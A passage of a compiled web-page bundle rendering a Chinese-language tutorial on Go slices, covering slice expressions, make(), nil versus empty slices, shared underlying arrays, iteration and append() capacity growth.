00:59:42"})]})})]}),"\n",(0,s.jsx)(e.p,{children:"\u5207\u7247\uff08Slice\uff09\u662f\u4e00\u4e2a\u62e5\u6709\u76f8\u540c\u7c7b\u578b\u5143\u7d20\u7684\u53ef\u53d8\u957f\u5ea6\u7684\u5e8f\u5217\u3002\u5b83\u662f\u57fa\u4e8e\u6570\u7ec4\u7c7b\u578b\u505a\u7684\u4e00\u5c42\u5c01\u88c5\u3002\u5b83\u975e\u5e38\u7075\u6d3b\uff0c\u652f\u6301\u81ea\u52a8\u6269\u5bb9\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u662f\u4e00\u4e2a\u5f15\u7528\u7c7b\u578b\uff0c\u5b83\u7684\u5185\u90e8\u7ed3\u6784\u5305\u542b",(0,s.jsx)(e.code,{children:"\u5730\u5740"}),"\u3001",(0,s.jsx)(e.code,{children:"\u957f\u5ea6"}),"\u548c",(0,s.jsx)(e.code,{children:"\u5bb9\u91cf"}),"\u3002\u5207\u7247\u4e00\u822c\u7528\u4e8e\u5feb\u901f\u5730\u64cd\u4f5c\u4e00\u5757\u6570\u636e\u96c6\u5408\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u7684\u5b9a\u4e49",children:"\u5207\u7247\u7684\u5b9a\u4e49"}),"\n",(0,s.jsx)(e.p,{children:"\u58f0\u660e\u5207\u7247\u7c7b\u578b\u7684\u57fa\u672c\u8bed\u6cd5\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var name []T\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"name:\u8868\u793a\u53d8\u91cf\u540d"}),"\n",(0,s.jsx)(e.li,{children:"T:\u8868\u793a\u5207\u7247\u4e2d\u7684\u5143\u7d20\u7c7b\u578b"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\t// \u58f0\u660e\u5207\u7247\u7c7b\u578b\n\tvar a []string //\u58f0\u660e\u4e00\u4e2a\u5b57\u7b26\u4e32\u5207\u7247\n\tvar b = []int{} //\u58f0\u660e\u4e00\u4e2a\u6574\u578b\u5207\u7247\u5e76\u521d\u59cb\u5316\n\tvar c = []bool{false, true} //\u58f0\u660e\u4e00\u4e2a\u5e03\u5c14\u5207\u7247\u5e76\u521d\u59cb\u5316\n\tvar d = []bool{false, true} //\u58f0\u660e\u4e00\u4e2a\u5e03\u5c14\u5207\u7247\u5e76\u521d\u59cb\u5316\n\tfmt.Println(a) //[]\n\tfmt.Println(b) //[]\n\tfmt.Println(c) //[false true]\n\tfmt.Println(a == nil) //true\n\tfmt.Println(b == nil) //false\n\tfmt.Println(c == nil) //false\n\t// fmt.Println(c == d) //\u5207\u7247\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u4e0d\u652f\u6301\u76f4\u63a5\u6bd4\u8f83\uff0c\u53ea\u80fd\u548cnil\u6bd4\u8f83\n}\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf",children:"\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u62e5\u6709\u81ea\u5df1\u7684\u957f\u5ea6\u548c\u5bb9\u91cf\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528\u5185\u7f6e\u7684",(0,s.jsx)(e.code,{children:"len()"}),"\u51fd\u6570\u6c42\u957f\u5ea6\uff0c\u4f7f\u7528\u5185\u7f6e\u7684",(0,s.jsx)(e.code,{children:"cap()"}),"\u51fd\u6570\u6c42\u5207\u7247\u7684\u5bb9\u91cf\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u5207\u7247\u8868\u8fbe\u5f0f",children:"\u5207\u7247\u8868\u8fbe\u5f0f"}),"\n",(0,s.jsx)(e.p,{children:"\u5207\u7247\u8868\u8fbe\u5f0f\u4ece\u5b57\u7b26\u4e32\u3001\u6570\u7ec4\u3001\u6307\u5411\u6570\u7ec4\u6216\u5207\u7247\u7684\u6307\u9488\u6784\u9020\u5b50\u5b57\u7b26\u4e32\u6216\u5207\u7247\u3002\u5b83\u6709\u4e24\u79cd\u53d8\u4f53\uff1a\u4e00\u79cd\u6307\u5b9alow\u548chigh\u4e24\u4e2a\u7d22\u5f15\u754c\u9650\u503c\u7684\u7b80\u5355\u7684\u5f62\u5f0f\uff0c\u53e6\u4e00\u79cd\u662f\u9664\u4e86low\u548chigh\u7d22\u5f15\u754c\u9650\u503c\u5916\u8fd8\u6307\u5b9a\u5bb9\u91cf\u7684\u5b8c\u6574\u7684\u5f62\u5f0f\u3002"}),"\n",(0,s.jsx)(e.h4,{id:"\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f",children:"\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u7684\u5e95\u5c42\u5c31\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u57fa\u4e8e\u6570\u7ec4\u901a\u8fc7\u5207\u7247\u8868\u8fbe\u5f0f\u5f97\u5230\u5207\u7247\u3002 \u5207\u7247\u8868\u8fbe\u5f0f\u4e2d\u7684",(0,s.jsx)(e.code,{children:"low"}),"\u548c",(0,s.jsx)(e.code,{children:"high"}),"\u8868\u793a\u4e00\u4e2a\u7d22\u5f15\u8303\u56f4\uff08\u5de6\u5305\u542b\uff0c\u53f3\u4e0d\u5305\u542b\uff09\uff0c\u4e5f\u5c31\u662f\u4e0b\u9762\u4ee3\u7801\u4e2d\u4ece\u6570\u7ec4a\u4e2d\u9009\u51fa",(0,s.jsx)(e.code,{children:"1<=\u7d22\u5f15\u503c<4"}),"\u7684\u5143\u7d20\u7ec4\u6210\u5207\u7247s\uff0c\u5f97\u5230\u7684\u5207\u7247",(0,s.jsx)(e.code,{children:"\u957f\u5ea6=high-low"}),"\uff0c\u5bb9\u91cf\u7b49\u4e8e\u5f97\u5230\u7684\u5207\u7247\u7684\u5e95\u5c42\u6570\u7ec4\u7684\u5bb9\u91cf\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [5]int{1, 2, 3, 4, 5}\n\ts := a[1:3] // s := a[low:high]\n\tfmt.Printf("s:%v len(s):%v cap(s):%v\\n", s, len(s), cap(s))\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"s:[2 3] len(s):2 cap(s):4\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u4e3a\u4e86\u65b9\u4fbf\u8d77\u89c1\uff0c\u53ef\u4ee5\u7701\u7565\u5207\u7247\u8868\u8fbe\u5f0f\u4e2d\u7684\u4efb\u4f55\u7d22\u5f15\u3002\u7701\u7565\u4e86",(0,s.jsx)(e.code,{children:"low"}),"\u5219\u9ed8\u8ba4\u4e3a0\uff1b\u7701\u7565\u4e86",(0,s.jsx)(e.code,{children:"high"}),"\u5219\u9ed8\u8ba4\u4e3a\u5207\u7247\u64cd\u4f5c\u6570\u7684\u957f\u5ea6:"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"a[2:] // \u7b49\u540c\u4e8e a[2:len(a)]\na[:3] // \u7b49\u540c\u4e8e a[0:3]\na[:] // \u7b49\u540c\u4e8e a[0:len(a)]\n"})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5bf9\u4e8e\u6570\u7ec4\u6216\u5b57\u7b26\u4e32\uff0c\u5982\u679c",(0,s.jsx)(e.code,{children:"0 <= low <= high <= len(a)"}),"\uff0c\u5219\u7d22\u5f15\u5408\u6cd5\uff0c\u5426\u5219\u5c31\u4f1a\u7d22\u5f15\u8d8a\u754c\uff08out of range\uff09\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["\u5bf9\u5207\u7247\u518d\u6267\u884c\u5207\u7247\u8868\u8fbe\u5f0f\u65f6\uff08\u5207\u7247\u518d\u5207\u7247\uff09\uff0c",(0,s.jsx)(e.code,{children:"high"}),"\u7684\u4e0a\u9650\u8fb9\u754c\u662f\u5207\u7247\u7684\u5bb9\u91cf",(0,s.jsx)(e.code,{children:"cap(a)"}),"\uff0c\u800c\u4e0d\u662f\u957f\u5ea6\u3002",(0,s.jsx)(e.strong,{children:"\u5e38\u91cf\u7d22\u5f15"}),"\u5fc5\u987b\u662f\u975e\u8d1f\u7684\uff0c\u5e76\u4e14\u53ef\u4ee5\u7528int\u7c7b\u578b\u7684\u503c\u8868\u793a;\u5bf9\u4e8e\u6570\u7ec4\u6216\u5e38\u91cf\u5b57\u7b26\u4e32\uff0c\u5e38\u91cf\u7d22\u5f15\u4e5f\u5fc5\u987b\u5728\u6709\u6548\u8303\u56f4\u5185\u3002\u5982\u679c",(0,s.jsx)(e.code,{children:"low"}),"\u548c",(0,s.jsx)(e.code,{children:"high"}),"\u4e24\u4e2a\u6307\u6807\u90fd\u662f\u5e38\u6570\uff0c\u5b83\u4eec\u5fc5\u987b\u6ee1\u8db3",(0,s.jsx)(e.code,{children:"low <= high"}),"\u3002\u5982\u679c\u7d22\u5f15\u5728\u8fd0\u884c\u65f6\u8d85\u51fa\u8303\u56f4\uff0c\u5c31\u4f1a\u53d1\u751f\u8fd0\u884c\u65f6",(0,s.jsx)(e.code,{children:"panic"}),"\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [5]int{1, 2, 3, 4, 5}\n\ts := a[1:3] // s := a[low:high]\n\tfmt.Printf("s:%v len(s):%v cap(s):%v\\n", s, len(s), cap(s))\n\ts2 := s[3:4] // \u7d22\u5f15\u7684\u4e0a\u9650\u662fcap(s)\u800c\u4e0d\u662flen(s)\n\tfmt.Printf("s2:%v len(s2):%v cap(s2):%v\\n", s2, len(s2), cap(s2))\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"s:[2 3] len(s):2 cap(s):4\ns2:[5] len(s2):1 cap(s2):1\n"})}),"\n",(0,s.jsx)(e.h4,{id:"\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f",children:"\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f"}),"\n",(0,s.jsxs)(e.p,{children:["\u5bf9\u4e8e\u6570\u7ec4\uff0c\u6307\u5411\u6570\u7ec4\u7684\u6307\u9488\uff0c\u6216\u5207\u7247a(",(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\u4e0d\u80fd\u662f\u5b57\u7b26\u4e32"}),")\u652f\u6301\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"a[low : high : max]\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u4e0a\u9762\u7684\u4ee3\u7801\u4f1a\u6784\u9020\u4e0e\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f",(0,s.jsx)(e.code,{children:"a[low: high]"}),"\u76f8\u540c\u7c7b\u578b\u3001\u76f8\u540c\u957f\u5ea6\u548c\u5143\u7d20\u7684\u5207\u7247\u3002\u53e6\u5916\uff0c\u5b83\u4f1a\u5c06\u5f97\u5230\u7684\u7ed3\u679c\u5207\u7247\u7684\u5bb9\u91cf\u8bbe\u7f6e\u4e3a",(0,s.jsx)(e.code,{children:"max-low"}),"\u3002\u5728\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f\u4e2d\u53ea\u6709\u7b2c\u4e00\u4e2a\u7d22\u5f15\u503c\uff08low\uff09\u53ef\u4ee5\u7701\u7565\uff1b\u5b83\u9ed8\u8ba4\u4e3a0\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [5]int{1, 2, 3, 4, 5}\n\tt := a[1:3:5]\n\tfmt.Printf("t:%v len(t):%v cap(t):%v\\n", t, len(t), cap(t))\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"t:[2 3] len(t):2 cap(t):4\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f\u9700\u8981\u6ee1\u8db3\u7684\u6761\u4ef6\u662f",(0,s.jsx)(e.code,{children:"0 <= low <= high <= max <= cap(a)"}),"\uff0c\u5176\u4ed6\u6761\u4ef6\u548c\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f\u76f8\u540c\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u4f7f\u7528make\u51fd\u6570\u6784\u9020\u5207\u7247",children:"\u4f7f\u7528make()\u51fd\u6570\u6784\u9020\u5207\u7247"}),"\n",(0,s.jsxs)(e.p,{children:["\u6211\u4eec\u4e0a\u9762\u90fd\u662f\u57fa\u4e8e\u6570\u7ec4\u6765\u521b\u5efa\u7684\u5207\u7247\uff0c\u5982\u679c\u9700\u8981\u52a8\u6001\u7684\u521b\u5efa\u4e00\u4e2a\u5207\u7247\uff0c\u6211\u4eec\u5c31\u9700\u8981\u4f7f\u7528\u5185\u7f6e\u7684",(0,s.jsx)(e.code,{children:"make()"}),"\u51fd\u6570\uff0c\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"make([]T, size, cap)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"T:\u5207\u7247\u7684\u5143\u7d20\u7c7b\u578b"}),"\n",(0,s.jsx)(e.li,{children:"size:\u5207\u7247\u4e2d\u5143\u7d20\u7684\u6570\u91cf"}),"\n",(0,s.jsx)(e.li,{children:"cap:\u5207\u7247\u7684\u5bb9\u91cf"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\ta := make([]int, 2, 10)\n\tfmt.Println(a) //[0 0]\n\tfmt.Println(len(a)) //2\n\tfmt.Println(cap(a)) //10\n}\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u4e0a\u9762\u4ee3\u7801\u4e2d",(0,s.jsx)(e.code,{children:"a"}),"\u7684\u5185\u90e8\u5b58\u50a8\u7a7a\u95f4\u5df2\u7ecf\u5206\u914d\u4e8610\u4e2a\uff0c\u4f46\u5b9e\u9645\u4e0a\u53ea\u7528\u4e862\u4e2a\u3002 \u5bb9\u91cf\u5e76\u4e0d\u4f1a\u5f71\u54cd\u5f53\u524d\u5143\u7d20\u7684\u4e2a\u6570\uff0c\u6240\u4ee5",(0,s.jsx)(e.code,{children:"len(a)"}),"\u8fd4\u56de2\uff0c",(0,s.jsx)(e.code,{children:"cap(a)"}),"\u5219\u8fd4\u56de\u8be5\u5207\u7247\u7684\u5bb9\u91cf\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u5207\u7247\u7684\u672c\u8d28",children:"\u5207\u7247\u7684\u672c\u8d28"}),"\n",(0,s.jsx)(e.p,{children:"\u5207\u7247\u7684\u672c\u8d28\u5c31\u662f\u5bf9\u5e95\u5c42\u6570\u7ec4\u7684\u5c01\u88c5\uff0c\u5b83\u5305\u542b\u4e86\u4e09\u4e2a\u4fe1\u606f\uff1a\u5e95\u5c42\u6570\u7ec4\u7684\u6307\u9488\u3001\u5207\u7247\u7684\u957f\u5ea6\uff08len\uff09\u548c\u5207\u7247\u7684\u5bb9\u91cf\uff08cap\uff09\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u73b0\u5728\u6709\u4e00\u4e2a\u6570\u7ec4",(0,s.jsx)(e.code,{children:"a := [8]int{0, 1, 2, 3, 4, 5, 6, 7}"}),"\uff0c\u5207\u7247",(0,s.jsx)(e.code,{children:"s1 := a[:5]"}),"\uff0c\u76f8\u5e94\u793a\u610f\u56fe\u5982\u4e0b\u3002",(0,s.jsx)(e.img,{alt:"slice_01",src:c(890).A+"",width:"1598",height:"758"}),"\u5207\u7247",(0,s.jsx)(e.code,{children:"s2 := a[3:6]"}),"\uff0c\u76f8\u5e94\u793a\u610f\u56fe\u5982\u4e0b\uff1a",(0,s.jsx)(e.img,{alt:"slice_02",src:c(22001).A+"",width:"1598",height:"758"})]}),"\n",(0,s.jsx)(e.h3,{id:"\u5224\u65ad\u5207\u7247\u662f\u5426\u4e3a\u7a7a",children:"\u5224\u65ad\u5207\u7247\u662f\u5426\u4e3a\u7a7a"}),"\n",(0,s.jsxs)(e.p,{children:["\u8981\u68c0\u67e5\u5207\u7247\u662f\u5426\u4e3a\u7a7a\uff0c\u8bf7\u59cb\u7ec8\u4f7f\u7528",(0,s.jsx)(e.code,{children:"len(s) == 0"}),"\u6765\u5224\u65ad\uff0c\u800c\u4e0d\u5e94\u8be5\u4f7f\u7528",(0,s.jsx)(e.code,{children:"s == nil"}),"\u6765\u5224\u65ad\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u4e0d\u80fd\u76f4\u63a5\u6bd4\u8f83",children:"\u5207\u7247\u4e0d\u80fd\u76f4\u63a5\u6bd4\u8f83"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u4e4b\u95f4\u662f\u4e0d\u80fd\u6bd4\u8f83\u7684\uff0c\u6211\u4eec\u4e0d\u80fd\u4f7f\u7528",(0,s.jsx)(e.code,{children:"=="}),"\u64cd\u4f5c\u7b26\u6765\u5224\u65ad\u4e24\u4e2a\u5207\u7247\u662f\u5426\u542b\u6709\u5168\u90e8\u76f8\u7b49\u5143\u7d20\u3002 \u5207\u7247\u552f\u4e00\u5408\u6cd5\u7684\u6bd4\u8f83\u64cd\u4f5c\u662f\u548c",(0,s.jsx)(e.code,{children:"nil"}),"\u6bd4\u8f83\u3002 \u4e00\u4e2a",(0,s.jsx)(e.code,{children:"nil"}),"\u503c\u7684\u5207\u7247\u5e76\u6ca1\u6709\u5e95\u5c42\u6570\u7ec4\uff0c\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"nil"}),"\u503c\u7684\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf\u90fd\u662f0\u3002\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u8bf4\u4e00\u4e2a\u957f\u5ea6\u548c\u5bb9\u91cf\u90fd\u662f0\u7684\u5207\u7247\u4e00\u5b9a\u662f",(0,s.jsx)(e.code,{children:"nil"}),"\uff0c\u4f8b\u5982\u4e0b\u9762\u7684\u793a\u4f8b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var s1 []int //len(s1)=0;cap(s1)=0;s1==nil\ns2 := []int{} //len(s2)=0;cap(s2)=0;s2!=nil\ns3 := make([]int, 0) //len(s3)=0;cap(s3)=0;s3!=nil\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6240\u4ee5\u8981\u5224\u65ad\u4e00\u4e2a\u5207\u7247\u662f\u5426\u662f\u7a7a\u7684\uff0c\u8981\u662f\u7528",(0,s.jsx)(e.code,{children:"len(s) == 0"}),"\u6765\u5224\u65ad\uff0c\u4e0d\u5e94\u8be5\u4f7f\u7528",(0,s.jsx)(e.code,{children:"s == nil"}),"\u6765\u5224\u65ad\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u7684\u8d4b\u503c\u62f7\u8d1d",children:"\u5207\u7247\u7684\u8d4b\u503c\u62f7\u8d1d"}),"\n",(0,s.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u4e2d\u6f14\u793a\u4e86\u62f7\u8d1d\u524d\u540e\u4e24\u4e2a\u53d8\u91cf\u5171\u4eab\u5e95\u5c42\u6570\u7ec4\uff0c\u5bf9\u4e00\u4e2a\u5207\u7247\u7684\u4fee\u6539\u4f1a\u5f71\u54cd\u53e6\u4e00\u4e2a\u5207\u7247\u7684\u5185\u5bb9\uff0c\u8fd9\u70b9\u9700\u8981\u7279\u522b\u6ce8\u610f\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\ts1 := make([]int, 3) //[0 0 0]\n\ts2 := s1 //\u5c06s1\u76f4\u63a5\u8d4b\u503c\u7ed9s2\uff0cs1\u548cs2\u5171\u7528\u4e00\u4e2a\u5e95\u5c42\u6570\u7ec4\n\ts2[0] = 100\n\tfmt.Println(s1) //[100 0 0]\n\tfmt.Println(s2) //[100 0 0]\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u904d\u5386",children:"\u5207\u7247\u904d\u5386"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u7684\u904d\u5386\u65b9\u5f0f\u548c\u6570\u7ec4\u662f\u4e00\u81f4\u7684\uff0c\u652f\u6301\u7d22\u5f15\u904d\u5386\u548c",(0,s.jsx)(e.code,{children:"for range"}),"\u904d\u5386\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\ts := []int{1, 3, 5}\n\n\tfor i := 0; i < len(s); i++ {\n\t\tfmt.Println(i, s[i])\n\t}\n\n\tfor index, value := range s {\n\t\tfmt.Println(index, value)\n\t}\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"append\u65b9\u6cd5\u4e3a\u5207\u7247\u6dfb\u52a0\u5143\u7d20",children:"append()\u65b9\u6cd5\u4e3a\u5207\u7247\u6dfb\u52a0\u5143\u7d20"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u7684\u5185\u5efa\u51fd\u6570",(0,s.jsx)(e.code,{children:"append()"}),"\u53ef\u4ee5\u4e3a\u5207\u7247\u52a8\u6001\u6dfb\u52a0\u5143\u7d20\u3002 \u53ef\u4ee5\u4e00\u6b21\u6dfb\u52a0\u4e00\u4e2a\u5143\u7d20\uff0c\u53ef\u4ee5\u6dfb\u52a0\u591a\u4e2a\u5143\u7d20\uff0c\u4e5f\u53ef\u4ee5\u6dfb\u52a0\u53e6\u4e00\u4e2a\u5207\u7247\u4e2d\u7684\u5143\u7d20\uff08\u540e\u9762\u52a0\u2026\uff09\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main(){\n\tvar s []int\n\ts = append(s, 1) // [1]\n\ts = append(s, 2, 3, 4) // [1 2 3 4]\n\ts2 := []int{5, 6, 7} \n\ts = append(s, s2...) // [1 2 3 4 5 6 7]\n}\n"})}),"\n",(0,s.jsxs)(e.p,{children:["**\u6ce8\u610f\uff1a**\u901a\u8fc7var\u58f0\u660e\u7684\u96f6\u503c\u5207\u7247\u53ef\u4ee5\u5728",(0,s.jsx)(e.code,{children:"append()"}),"\u51fd\u6570\u76f4\u63a5\u4f7f\u7528\uff0c\u65e0\u9700\u521d\u59cb\u5316\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var s []int\ns = append(s, 1, 2, 3)\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6ca1\u6709\u5fc5\u8981\u50cf\u4e0b\u9762\u7684\u4ee3\u7801\u4e00\u6837\u521d\u59cb\u5316\u4e00\u4e2a\u5207\u7247\u518d\u4f20\u5165",(0,s.jsx)(e.code,{children:"append()"}),"\u51fd\u6570\u4f7f\u7528\uff0c"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"s := []int{} // \u6ca1\u6709\u5fc5\u8981\u521d\u59cb\u5316\ns = append(s, 1, 2, 3)\n\nvar s = make([]int) // \u6ca1\u6709\u5fc5\u8981\u521d\u59cb\u5316\ns = append(s, 1, 2, 3)\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6bcf\u4e2a\u5207\u7247\u4f1a\u6307\u5411\u4e00\u4e2a\u5e95\u5c42\u6570\u7ec4\uff0c\u8fd9\u4e2a\u6570\u7ec4\u7684\u5bb9\u91cf\u591f\u7528\u5c31\u6dfb\u52a0\u65b0\u589e\u5143\u7d20\u3002\u5f53\u5e95\u5c42\u6570\u7ec4\u4e0d\u80fd\u5bb9\u7eb3\u65b0\u589e\u7684\u5143\u7d20\u65f6\uff0c\u5207\u7247\u5c31\u4f1a\u81ea\u52a8\u6309\u7167\u4e00\u5b9a\u7684\u7b56\u7565\u8fdb\u884c\u201c\u6269\u5bb9\u201d\uff0c\u6b64\u65f6\u8be5\u5207\u7247\u6307\u5411\u7684\u5e95\u5c42\u6570\u7ec4\u5c31\u4f1a\u66f4\u6362\u3002\u201c\u6269\u5bb9\u201d\u64cd\u4f5c\u5f80\u5f80\u53d1\u751f\u5728",(0,s.jsx)(e.code,{children:"append()"}),"\u51fd\u6570\u8c03\u7528\u65f6\uff0c\u6240\u4ee5\u6211\u4eec\u901a\u5e38\u90fd\u9700\u8981\u7528\u539f\u53d8\u91cf\u63a5\u6536append\u51fd\u6570\u7684\u8fd4\u56de\u503c\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\t//append()\u6dfb\u52a0\u5143\u7d20\u548c\u5207\u7247\u6269\u5bb9\n\tvar numSlice []int\n\tfor i := 0; i < 10; i++ {\n\t\tnumSlice = append(numSlice, i)\n\t\tfmt.Printf("%v len:%d cap:%d ptr:%p\\n", numSlice, len(numSlice), cap(numSlice), numSlice)\n\t}\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"[0] len:1 cap:1 ptr:0xc0000a8000\n[0 1] len:2 cap:2 ptr:0xc0000a8040\n[0 1 2] len:3 cap:4 ptr:0xc0000b2020\n[0 1 2 3] len:4 cap:4 ptr:0xc0000b2020\n[0 1 2 3 4] len:5 cap:8 ptr:0xc0000b6000\n[0 1 2 3 4 5] len:6 cap:8 ptr:0xc0000b6000\n[0 1 2 3 4 5 6] len:7 cap:8 ptr:0xc0000b6000\n[0 1 2 3 4 5 6 7] len:8 cap:8 ptr:0xc0000b6000\n[0 1 2 3 4 5 6 7 8] len:9 cap:16 ptr:0xc0000b8000\n[0 1 2 3 4 5 6 7 8 9] len:10 cap:16 ptr:0xc0000b8000\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u7684\u7ed3\u679c\u53ef\u4ee5\u770b\u51fa\uff1a"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"append()"}),"\u51fd\u6570\u5c06\u5143\u7d20\u8ffd\u52a0\u5230\u5207\u7247\u7684\u6700\u540e\u5e76\u8fd4\u56de\u8be5\u5207\u7247\u3002"]}),"\n",(0,s.jsx)(e.li,{children:"\u5207\u7247numSlice\u7684\u5bb9\u91cf\u6309\u71671\uff0c2\uff0c4\uff0c8\uff0c16\u8fd9\u6837\u7684\u89c4\u5219\u81ea\u52a8\u8fdb\u884c\u6269\u5bb9\uff0c\u6bcf\u6b21\u6269\u5bb9\u540e\u90fd\u662f\u6269\u5bb9\u524d\u76842\u500d\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"append()\u51fd\u6570\u8fd8\u652f\u6301\u4e00\u6b21\u6027\u8ffd\u52a0\u591a\u4e2a\u5143\u7d20\u3002 \u4f8b\u5982\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'var citySlice []string\n// \u8ffd\u52a0\u4e00\u4e2a\u5143\u7d20\ncitySlice = append(citySlice, "\u5317\u4eac")\n// \u8ffd\u52a0\u591a\u4e2a\u5143\u7d20\ncitySlice = append(citySlice, "\u4e0a\u6d77", "\u5e7f\u5dde", "\u6df1\u5733")\n// \u8ffd\u52a0\u5207\u7247\na := []string{"\u6210\u90fd", "\u91cd\u5e86"}\ncitySlice = append(citySlice, a...)\nfmt.Println(citySlice) //[\u5317\u4eac \u4e0a\u6d77 \u5e7f\u5dde \u6df1\u5733 \u6210\u90fd 